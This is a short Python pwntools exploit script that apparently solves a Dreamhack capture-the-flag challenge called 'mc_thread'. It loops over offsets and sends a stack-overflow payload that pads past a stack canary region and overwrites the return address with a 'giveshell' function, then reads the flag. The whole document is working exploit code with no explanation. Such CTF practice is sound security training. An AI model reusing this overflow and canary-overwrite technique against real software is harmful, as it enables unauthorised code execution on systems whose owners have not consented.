`from pwn import *
context.log_level = 'debug'
for i in range(400, 9000, 8):
	p = remote("host3.dreamhack.games", 17226)

	elf = ELF('./mc_thread')


	payload = b'A' * 264

	payload += b'A' * 8 # canary

	payload += b'B' * 8

	payload += p64(elf.symbols['giveshell'])

	payload += b'C' * (i - len(payload))

	payload += p64(0x404800 - 0x972)

	payload += b'C' * (0x10)

	payload += p64(0x4141414141414141)

	inp_sz = len(payload) // 8

	p.sendlineafter(b'Size: ', str(inp_sz).encode())

	p.sendafter(b'Data: ', payload)
	p.sendline("cat flag")
	data = p.recvallS(timeout=3)
	if "DH{" in data:
		print(data)
		break`